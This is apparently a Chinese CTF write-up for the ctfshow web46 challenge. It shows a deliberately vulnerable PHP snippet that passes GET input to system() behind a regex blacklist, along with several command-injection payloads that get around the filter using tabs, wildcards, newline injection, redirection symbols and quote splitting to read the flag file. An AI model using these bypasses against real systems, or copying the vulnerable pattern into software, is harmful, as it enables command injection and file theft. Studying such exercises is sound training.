ctfshow web入门 web46

信息收集

这下把$ *和数字也给过滤了

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

解题

老配方

s 复制代码
?c=tac%09fl?g.php%0a

使用重定位符

在Shell中,反斜杠 \ 是转义字符,用于取消紧随其后的字符的特殊含义。但以下两种情况需要注意:

  • 特殊字符:如 $、*、?、空格等,反斜杠会使其失去特殊含义。
  • 普通字符:如字母、数字,反斜杠会被忽略,直接保留原字符。
    • 所以 flag.txt == fla\g.txt

< <>代替空格。具体查看Shell中的<,<<,>,>>介绍

使用重定向符来替代空格
<?配合使用会失败,原因不详

s 复制代码
?c=tac<fla\g.php||
?c=tac<>fla''g.php||

其中''被shell理解为空字符串。Shell会将 相邻的字符串片段自动拼接,无论是否被引号包裹

复制代码
┌──(si㉿kali)-[~/桌面]
└─$ echo '1'23''45
12345
相关推荐
Apifox5 分钟前
如何在 Apifox 中使用「模块」合理地组织接口
前端·后端·测试
冰暮流星7 分钟前
css之flex属性
前端·css
若安程序开发16 分钟前
WEBweb前端OPPO手机商城网站项目
前端·智能手机
范德萨_17 分钟前
JavaScript 实用技巧(总结)
开发语言·前端·javascript
执携26 分钟前
Vue Router (匹配当前路由的链接和类名配置)
前端·javascript·vue.js
若安程序开发37 分钟前
web华为商城前端项目4页面
前端·华为
一枚前端小能手1 小时前
🏷️ HTML 属性参考 - 常用与全局属性的行为、兼容性与最佳实践
前端·javascript·html
付十一1 小时前
更新!Figma MCP + Cursor:大前端时代的UI到代码自动化
android·前端·ai编程
Jerry2505091 小时前
微信小程序必要要安装SSL证书吗?小程序SSL详解
网络·网络协议·网络安全·微信小程序·小程序·https·ssl
万岳科技程序员小金1 小时前
多端统一的教育系统源码开发详解:Web、小程序与APP的无缝融合
前端·小程序·软件开发·app开发·在线教育系统源码·教育培训app开发·教育培训小程序